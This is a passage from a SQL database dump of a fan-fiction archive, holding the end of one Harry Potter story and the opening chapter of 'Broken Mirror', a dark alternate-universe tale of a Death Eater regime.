Kedavra!</i><i>&quot;</i>, Harry and Hermione shouted <i>&quot;</i><i>Expecto Patronum!</i><i>&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Instead of a silver stag, a golden lion and a\nscarlet phoenix shot out of the two rings!&nbsp;\nThen, before their very eyes, the lion and the phoenix combined and\nbecame a single patronus: a red and gold griffin!&nbsp; The red and gold griffin and the green and silver basilisk\ncharged at each other.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">A blast of sound echoed through the chamber as\nthe griffin and the basilisk collided into each other.&nbsp; At first, the patronus charm and the Avada\nKedavra curse rammed at each other with equal power.&nbsp; Eventually, however, the basilisk gave way.&nbsp; Voldemort stared horror struck as his body\nwas engulfed by the red and gold griffin.&nbsp;\n&quot;NOOOOOOOOOOOOO!!!!!!!&quot; he shouted.&nbsp;\nHe body suddenly started crumbling and within seconds, he had crumbled\ninto dust.&nbsp; Thus perished Lord\nVoldemort.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">With Voldemort\'s death, the Death Eaters suddenly lost their\npowers, and before they could figure out what had happened, the Alliance had\nwon the battle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione looked down at her hands.&nbsp; She noticed that the Ring of the Lion had\ntransported onto Harry\'s left\nring finger.&nbsp; She looked into his\neyes.&nbsp; &quot;Iscis it over?&quot; she asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry smiled and said, &quot;I think it is.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione smiled and whispered, &quot;I love you.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I love you too.&quot;&nbsp; They\nkissed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Peace was restored to Magiterran and life\nreturned to the way it was before the coming of Voldemort and the Death Eaters:\nif not, even better.&nbsp; Sir Draco Malfoy\nwas crowned the new king of the Kingdom of Slytherin.&nbsp; His first act as ruler was to purge all Death Eater influences\nfrom his kingdom as well as work to regain the trust that the Slytherins had\nlost because of the Death Eaters.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hogwarts once again became the training center\nof the Mage Knights who continued to wander Magiterran, protecting its peace\nand prosperity.&nbsp; Dumbledore, McGonagall,\nHagrid, and even Snape are all trainers there, even to this day.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Soon after, the end of the war, Harry Potter\nwas crowned king of Gryffindor and the Kingdom of Gryffindor was\nreestablished.&nbsp; Many of the Gryffindor\nnobility had their honors and privileges restored, among those, the houses of\nWeasley, Lupin, and Black.&nbsp; Sirius and\nRemus both retired and spent the rest of their days on their lands.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">After Sirius and Remus\'s retirement, Ron became the new commander of\nthe Gryffindor military, a job he did very well.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The most joyous day of Magiterran came about a\nyear after the defeat of Voldemort.&nbsp; The\nrebuilt Gryffindor capitol city of Godric\'s\nHollow was filled with guests from all four kingdoms who had come to witness\nthe marriage of King Harry Potter to young Hermione Granger.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The streets were crowded that day as Gryffindor\ncitizens waited to see their new queen who had once been a farm girl, just like\nher predecessor, Queen Lily.&nbsp; They fell\nin love with the new Queen Hermione immediately for she never forgot her muggle\norigins and was always a champion of their rights.&nbsp; Harry and Hermione loved each other dearly and Hermione bore\nHarry two daughters and a son whom was his heir.&nbsp; The two lived in the Kingdom of Gryffindor happily for the rest\nof their lives.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>The End</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(57, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="text-align:center" align="center">BROKEN\nMIRROR </p>\n\n<p class="MsoNormal" style="text-align:center" align="center">or <i style="mso-bidi-font-style:normal">The World That Never Was</i></p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Chapter\nOne: The Senseless Passage of Tortuous Days</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal">The soot black canine was prowling the area as he had done\nthe past few weeks. It sniffed at the ground suspiciously as though looking for\na bone to chew on for food. He would find many here, for these were the Death\nEater Headquarters, the stronghold of His Eminence, Lord Voldemort. The\npropaganda issued to the world outside secured the people&#8217;s belief that the\nbones belonged to rebel fighters or resistance leaders who had betrayed the\ntrust of their grand Lord, who ruled them with a gentle wand. It did not escape\nnotice that their lord held one of the most powerful wands of all time, but\nthey were sure he used it for good. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Death Eaters, dressed in their customary black and grey\ndress robes, their faces obscured with black masks that ensured their\nanonymity, patrolled the stronghold. The Lord Voldemort did not visit often,\nfor he was too honoured to visit such a decrepit place where people unfit to\nlook in his face were taken and terminated. He was the great Heir of the Lord\nGrindelwald, the Emeritus, who had passed away a long time ago in a battle with\nthe most powerful Rebellion leader, Albus Dumbledore. Months of mourning later,\nLord Voldemort ascended the throne and continued to bring the wizarding world\nto new heights. Even today, people whispered his name in awe as he paraded\nthrough the streets to offer his respects to his late mentor, Grindelwald. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And wonder of all wonders was &#8211; he was stopping in front\nof the Headquarters! Surprised by the honour, the Death Eaters on guard at the\ndoor fell to their knees, kissing the hem of their Master&#8217;s regal robes. He\nmerely gave a dismissive wave as one particularly ambitious but brainless Death\nEater clutched desperately at the fabric, and was incinerated with a quick\nspell. They left the smoking ashes alone, instead moving on into the\nHeadquarters. The dog barked almost derisively, as though it could understand\nhuman language, and padded softly away in the wild grass that surrounded the\nstronghold. There were no barbed fences, no force fields. The Death Eaters\nseemed secure in their belief that no one would harm them unless they let them.\nThe Resistance was dwindling; Lord Voldemort&#8217;s silent executions steadily increasing\nand the death toll piling higher and higher. Already the Blacks had almost been\nentirely eradicated for being members of the Resistance, otherwise known as the\nRebellion. The dog dug a deep trench in the soil, as though trying to appease\nhis anger at the unfairness. The world was one of fear. He shot plods of soil\nall around and some hit a figure standing behind him. He turned, barking\nferociously at the companion he abruptly had. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I won&#8217;t harm you,&#8221; the man said quietly, his face\ncrinkling into a smile. He was young yet, likely a new graduate from the\nindoctrination centre that went by the name of Hogwarts today. Durmstrang\nlinked strong arms with Hogwarts, and Beauxbatons had been destroyed in a\nmysterious fire said to be set by an arsonist. Those who could see the truth\nknew the Death Eaters had done it. The man was clad in black forbidding robes,\nthe colour alone identifying him as a Death Eater. Only those of the privileged\norder directly serving the Lord himself were allowed black robes. The others\nmade do with grey, green or other colours which were downright gaudy. The man\npatted the dog&#8217;s head with a gentleness that was in lacking in many Death\nEaters around. The dog barked, wagging its tail. He looked as though he could\nbe trusted, and the dog decided to believe his instincts. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re a feisty big guy, aren&#8217;t you,&#8221; the man praised,\nkneeling down in the wild grass, his hair unkempt in the dry winds that swept\nthe Headquarters from time to time. &#8220;It&#8217;s a waste to have you as a stray.&#8221; The\ndog nuzzled at the man&#8217;s knee, tickling him slightly with his wet nose as he\nbarked in a friendly way. &#8220;MacNair would like you very much. He says Helena is\nworried about thieves.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The dog glared at him angrily, as though shocked that he\nwould be sending him to an inhuman beast like MacNair. The chief executioner\nenjoyed murdering animals, and people even more. Only those who were of value\nwere spared his powerful Killing Curses. The Death Eater grinned in a way\nuncharacteristic of his peers, boyishly rubbing the dog&#8217;s ears. &#8220;I was joking,\nold boy. Didn&#8217;t mean it. MacNair&#8217;s a beast. I won&#8217;t\nwant to send you to suffer his company.&#8221; The dog stared at him cautiously, as\nthough sizing him up before settling back in his lap. &#8220;You&#8217;re coming with me.\nThe attacks on the Blacks were bad enough; I don&#8217;t want anything to happen to\nMom and Dad. You&#8217;ll make a nice guard dog.&#8221; The dog roared three times as\nthough to prove he was fit to yap loud enough and get rid of any thieves or\nResistance fighters. &#8220;Come, let&#8217;s go.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The man stood up as the dog reared up on its haunches,\nbarking loudly as he nuzzled his boot affectionately, wagging its tail\nenergetically with newfound energy. He almost had a happy expression on his\nface. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re a funny little guy,&#8221; the man smiled as he began to\nwalk out of the compound. &#8220;I think I&#8217;ll call you Padfoot.&#8221; The dog barked an\naffirmative, shaking his head as though his ears were about to fall off, his\ntongue hanging out. &#8220;Oh, you like it&#8230;&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;By the way, I&#8217;m James Potter,&#8221; the man smiled. The dog&#8217;s\neyes widened slightly, giving him a cute pout which only served to endear him\nto the Death Eater. He trotted along the path of his new master, whose identity\nwould be very convenient indeed. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoBodyText">The house was a quaint two-story establishment, much unlike\nthe lavish holdings of other rich pureblood Death Eaters who had as much money\nto throw around as the fabulously wealthy Potters. It was set in a simple\nneighbourhood, but they would be forced to move soon. According to what James\nhad told him previously, the Lord himself had assigned him to watch over a few\nMuggle-borns who were exhibiting powers and apparently, learning how to use\nmagic. There had been a report on their appearance in Diagon Alley, and the\nLord was livid. Padfoot paced around the meticulously tended garden, sniffing\nat the unfamiliar ground and waiting for the rest of the family to leave. They\nhad been invited to a party at Reginald Malfoy&#8217;s mansion to celebrate his only\nson, Lucius&#8217; birthday, and were leaving in minutes. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;James, do you have your insignia?&#8221; Geraldine Potter\ncalled from the front of the house, where they were preparing to take a Portkey\nto Malfoy Manor. She had kindly features with almond brown eyes, and the\ndarkest shade of midnight hair\nPadfoot had ever seen on anyone but his own family.\nShe looked exactly like the kind of woman who would not harm a hair on someone\nelse&#8217;s body, but was once a very dangerous Death Eater who had acquired a\nrecord of murdering more than a thousand Rebellion fighters. Looks were\ndeceiving, indeed. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, Mom, I&#8217;m coming!&#8221; James&#8217; boisterous voice could be\nheard from inside the house, where he was presumably sprinting down the stairs\nand trying to catch up. His father, Quentin Potter, only sighed and shook his\nhead. He, too, had a respectable air around him, his hair nearly all white from\nage. Quentin was much older than Geraldine, as he had heard, and had been a\nvalued member of the Daily Prophet staff for many years. He was still on the\nboard and wielded great authority. Another one who had plenty\nof power but did not look the part. Even James, blessed with his\nmother&#8217;s dark locks and sweet brown eyes, together with a generally misleading\ngrin, was a vicious Death Eater who had joined the force a few months after\ngraduating from Hogwarts. They were the typical brainwashed suburban family in\nthe Voldemort regime. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you ready to go?&#8221; Quentin smiled, the laugh lines\nshowing around his eyes as they all got ready to touch the Portkey. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course, Dad,&#8221; James answered, returning the grin. &#8220;Why\nwould the Malfoys invite us? I mean, it&#8217;s really wonderful, they&#8217;re such a\nrespected family&#8230;&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And one loyal to your lord,&#8221; Geraldine added. &#8220;Perhaps it\nis because you were schoolmates and stayed in the same dormitory. It&#8217;s\nwonderful that they abolished those pointless houses&#8230;For goodness&#8217;\nsake&#8230;Hufflepuff?&#8221; Both Quentin and Geraldine burst into laughter. James looked\nslightly offended. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mom, it&#8217;s a good way to promote competition. I suppose it\nwould have been fun,&#8221; he mumbled, but quickly retracted his opinion at his\nmother&#8217;s venomous glare. &#8220;Of course, everything the Lord says is correct. He is\nthe wisest.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s better,&#8221; Geraldine praised. &#8220;We&#8217;re running late!&#8221;\nThey touched the Portkey swiftly and were transported to their destination,\nleaving Padfoot to patrol the grounds. The dog watched their departure with\nanticipation, his eyes lighting up with excitement. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He padded into the house through the dog flap James had\nconjured up for him this morning, and looked around for the spare wand James was\nsure to leave behind in the kitchen. He had casually mentioned it, not knowing\nhow useful it would be to him. Padfoot dragged the wand out of its hiding place\nin an obscure cooking pot. Then he began to change. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When the process was over, Sirius Black stretched his\nbones. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now to contact Dumbledore,&#8221; he whispered as though\nreminding himself. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You must be congratulated, young Potter,&#8221; Reginald Malfoy\nsaid snottily as though he did not mean his words at all, looking down his nose\nin a scrutinizing way at James, who returned his stare without fear. Lucius was\npouting in a corner, although his fianc&#233;e Narcissa was busy trying to console\nhim, and of course, taking the opportunity to paw him all over in the meantime.\nLucius had been passed over for the post as his Hogwarts N.E.W.T. scores had\nbeen abysmal. James could only sigh inwardly. The boy was ambitious, but his\nlofty dreams were coupled with a lazy attitude, a spoiled life and riches\nbeyond all imagination. He was ambitious, but did not have the strength to\ncarry out his plans. He grasped his glass of red wine carefully, smoothing his\nfeatures into a diplomatic mask. It was a habit he had acquired a long time\nago. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you very much, Mr. Malfoy,&#8221; James said, fixing a\nfalse smile on his face. Everyone was fake here, what did one more mean anyway? He took a sip of the red wine. The Malfoys\nwere known for indulgence and quality; the wizards and witches here today were\nall the cream of the crop in the society. His parents were busy mingling with\nthe rest, his father greeting old colleagues and his mother smiling at those\nshe had once cooperated with. &#8220;I am very honoured by the Lord&#8217;s appointment,\nand will do my best to accomplish it.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I must say, it is a difficult job indeed,&#8221; Reginald said\ncautiously, staring with some satisfaction at James. The smirk on his face was\nnearly visible, and even his robes reeked of arrogance. &#8220;The Muggles there have been known to resist. Poor Maurice was\nmurdered by one of them last week. You will be careful, I am sure?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I appreciate the warning, sir,&#8221; James replied stiffly.\n&#8220;Thank you.&#8221; He was interrupted by a tap on his shoulder, which he answered\nwith a turn of his head. A woman, a reporter in fact, carrying parchment and\nquill was standing behind him with a smile plastered on her face. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good evening, Mr. Potter,&#8221; she beamed, reaching out a\nmanicured hand with red nail polish on, which James reluctantly took. &quot;I\nreport for the Daily Prophet, and we have received information about your\nprestigious appointment as governor.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, that would be correct,&#8221; James responded, trying to\nbe patient. As his father had always coached him, it would not do to be rude to\na reporter who could make him look bad in the limelight. The Lord valued\nadvertisements for their cause very much, and rudeness to a reporter had once\ngotten a very senior Death Eater murdered and chopped into thirty pieces. He\nhad been fed to Nagini. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What are your feelings on the appointment, sir? I\nunderstand it is in an area notorious for uprisings&#8230;&#8221; the reporter smiled,\nwaving her wand to start the quill jotting down notes for her article about\nwhat he had said. She was clad in silvery-blue robes which flowed around her,\nand James returned her smile, trying to speak as calmly as he could. He had a\nvery bad feeling about the place he was about to take charge of, but he would\nkeep his opinions to himself. The Lord would be displeased if he appeared weak\nor indecisive. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I am very honoured to have been\nappointed by the Lord himself, of course, but I am sure the dissidents will\nquiet down soon. They must admit that the Lord is the wisest leader that they\nwill ever have,&#8221; James said confidently, his belief in the Lord strong as ever.\nThe witch looked slightly disbelieving, but he brushed it off. She must have\nbeen thinking about something else, he decided. No one doubted the Lord, except\nfor the Rebellion. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And what do you feel about the Resistance who claim that\ntheir government is better?&#8221; the witch continued after a few seconds of\nsilence. She stared at him expectantly, waiting for his answer. James\nhesitated. He had never really thought about them, only kept on doing his job\nlike a Death Eater should, quietly and mindlessly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;They are foolish,&#8221; he finally got out, attempting to\ncreate a look of disgust in his eyes. &#8220;They should follow our Lord and not\nattempt something that will never succeed.&#8221; At the other side of the room,\nReginald Malfoy was signalling\nfor him to come over, and he nodded. &#8220;I must leave,&#8221; he said to the reporter\nbefore turning towards the small handful of wizards at the back of the\nballroom. &#8220;I hope you are successful in your line.&#8221; The reporter stared at his\ndeparting figure, her mouth open in a gasp. No Death Eater, especially not one\nwho had been appointed to a high post early, had ever said that to her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s the matter, Mr. Malfoy?&#8221;\nJames asked curiously as he neared and saw a smile on the man&#8217;s face, along\nwith some of the older and more senior Death Eaters in the circle. Some were\neven of the Inner Circle &#8211;\nmembers of those closest to the Lord. They shook their heads in disappointment\nat his question. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah, my dear James, you are about to be introduced to the\ngrandest part of being one of our great Lord&#8217;s soldiers,&#8221; Reginald said\nsmoothly, an indulgent smile twisting slowly on his lips as he hooked an arm\naround James&#8217; shoulders. &#8220;We will take you to your first Dark Revel.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dark Revel?&#8221; James was beginning to\nget a bad feeling. Even the name gave off bad vibes. Most of the Death Eaters practised Dark magic. Those who did not, were either\nPotions masters, Healers or simply wished to abstain. Those belonging to the\nlast category were usually mur- taken care of by\ntheir Lord when they were disobedient. Even so, a Dark Revel sounded like\nsomething that only the most advanced Dark Wizards went to. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;When you have experienced a Dark Revel, only will you\nfeel true power,&#8221; Reginald growled darkly, his voice low in his throat. He held\nout a portkey in the shape of a queen from a chess\nset. James knew he had to attend, or risk his position in the Death Eaters.\nReluctantly as he pushed down the saliva in his throat, he took the queen. The\nfamiliar jerk around the navel took him to a spooky room that was lit only by\ncandles, the dim light casting shadows on his face. One by one, the rest of the\ngroup he had been called to appear. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Often, the more senior Dark wizards conduct Dark Revels;\ngatherings to reinforce friendship,&#8221; Reginald whispered. &#8220;Today we initiate you\ninto our circle.&#8221; James did not like the dark grin that appeared on his face\nthen, but he had no choice. &#8220;Even Lucius did not have\nthe privilege. You are our newest member.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I appreciate and am honoured by\nyour initiation, Mr. Malfoy,&#8221; James picked his words\ncarefully, hoping not to do anything wrong. Dark Revels were obviously\nsomething very important to the Death Eaters, and to be invited to one would be\nvery difficult. &#8220;I hope I will be up to the task.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There is no need to be so formal, young one,&#8221; Nott, James\nrecognized. He was one of Reginald Malfoy&#8217;s sidekicks\nand also a major member of the Death Eater Inner Circle. He was not someone to\nbe offended, for he had been known to kill after torturing endlessly someone\nfor days. And that had only been because the man had insulted him to his face.\n&#8220;You are one of us now.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;In light of young Potter&#8217;s initiation, today we shall\nhave a mild activity,&#8221; Reginald boomed as he clapped his hands, signalling the house elves who\nwere invisible throughout Malfoy Manor. One by one,\nwomen appeared in the chamber, dressed in Muggle\nclothes. James guessed they were Muggles, from what\nthey were wearing. No wizard would degrade himself to wearing\nthose&#8230;those&#8230;skimpy garments. &#8220;They are yours for the pick tonight, and may be\nreturned at will anytime you wish.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You mean&#8230;&#8221; James almost gasped, but reined it in. It\nwould not do to ruin his reputation. Malfoy wanted\nhim to take the woman home for&#8230;for&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course, James,&#8221; Reginald said, smiling as though he\nwas a kindly, jovial grandfather giving his grandson a birthday present. &#8220;And\nyou, as our honoured guest, get first pick.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;They&#8217;re&#8230;all&#8230;very beautiful,&#8221; James stammered, knowing he\nwas losing his composure. If he did not pick one or outright refused, he would\nbe risking his life, for Lord Voldemort did not\ntolerate cowards or people whom he felt had sympathy for Muggles.\nThe women were staring at him in fright, each with abstract terror in their\ndifferent-coloured orbs. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His eyes trailed over all of them. There were more than\ntwenty in all, and he would only be able to save one. He tried to cool the\npanic in him. Why was he worrying about Muggles,\nanyway? They were vermin who did not deserve to live; second-class citizens\nwithout magic. They were helpless and useless. For once, he could not conjure\nup the hatred. He watched the last woman in the line, mentally counting. There\nwere twenty-two Death Eaters, and twenty-one women. One\nshort. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A pop! announced the arrival of\nanother house elf, who (which) looked flustered and tired, grabbing a girl by\nher right wrist. James&#8217; eyes met hers, and he was immediately captivated. Her\ngreen eyes were shining bright with defiance even in the dim light of the\nchamber, showing in a hundred different shades. Her hair was a fiery red that\nhad golden strands mixed in them from the candlelight. She was slender and\ntall, her lips slightly parted in surprise. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Gabby is sorry, Master,&#8221; the house elf pleaded piteously\neven as Reginald kicked him to the side of the chamber. James did not take his\neyes away from the beautiful girl who had just arrived. There was something\ndifferent about her, he knew. She was the loveliest person he had ever seen.\nShe could not be a Muggle; they were low-down, not\nhigh-flying on the clouds like she was. Muggles were\nugly filth, she was a beauty. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Your tardiness is punishable by death! Do you know that?&#8221;\nReginald glared lividly at the trembling house elf, who\nhad begun to knock his head against the chamber&#8217;s walls. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Master, the girl was resisting&#8230;Gabby had to silence her,&#8221;\nthe elf whined as he (it) beat his (its) fists against the wall, his (its)\ndirty pillowcase that served as his (its) clothes rumpled and torn. &#8220;Gabby&#8217;s pillowcase was torn by her&#8230;&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why, you filthy Muggle&#8230;how dare\nyou&#8230;&#8221; Reginald had begun to advance, his anger boiling forward in the greatest\nflood James had ever seen. The cool head of the Malfoy\nfamily hardly ever lost his temper. The girl did not look terrified; instead\nshe was looking triumphant. James swiftly moved himself between the livid Malfoy and the Muggle. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll take her,&#8221; he said calmly. The rest of the Death\nEaters, who had been watching the spectacle with interest, turned to him in\nsurprise. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She is fire, Mister Potter&#8230;&#8221; the elf whimpered from his\ncorner in the room, as though trying to dissuade James. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She&#8217;s interesting,&#8221; James defended himself.\nThere was something special about this girl, and he could not allow her to be\nleft here in wanton abandon to be dealt with as the rest wanted. He could\nalmost feel something around her. She was special, and he knew that. Reginald\nheld his ground for a few moments, before surrendering and raising his hand in\na signal of dismissal. James smiled gratefully, bowed and took the girl&#8217;s hand,\nApparating swiftly to his room in his humble home. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She shone a small torchlight before her to illuminate the\nstreets which were devoid of street lamps. They had been removed by the Lord&#8217;s\nfamous Death Eaters years ago, when he had felt they took up too much space.\nHis exact words were that they were of no use, since any normal wizard could\nlight his own wand. The Muggles had been left out of\nthe decision, and the street lamps were smashed to pieces. The alleys were\nprime places for robbers to hide, and heinous crimes happened all the time. Muggles who died or were harmed by these petty robbers were\nnot helped, nor was the culprit apprehended. They were left alone. She had been\nborn into a world of bias and hatred, her parents deceased and murdered by a\ndeath march of the Death Eaters through the streets years ago. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The orphanages looked down with disgust at they who were\nborn of Muggles, and no one deigned to even touch,\nlet alone adopt them. She knew her fate was to remain in that ugly whitewashed\nbuilding for her life, or be taken as a slave by one of the more influential\nDeath Eaters. Education was reluctantly given, if only to stop rebellion from\nthem. Lately, some strange characters had been appearing. A boy with dark limp\nhair and the strangest black eyes had come out of nowhere in the courtyard of\nthe orphanage where she and her sister lived. He was thin and sallow, giving\noff an 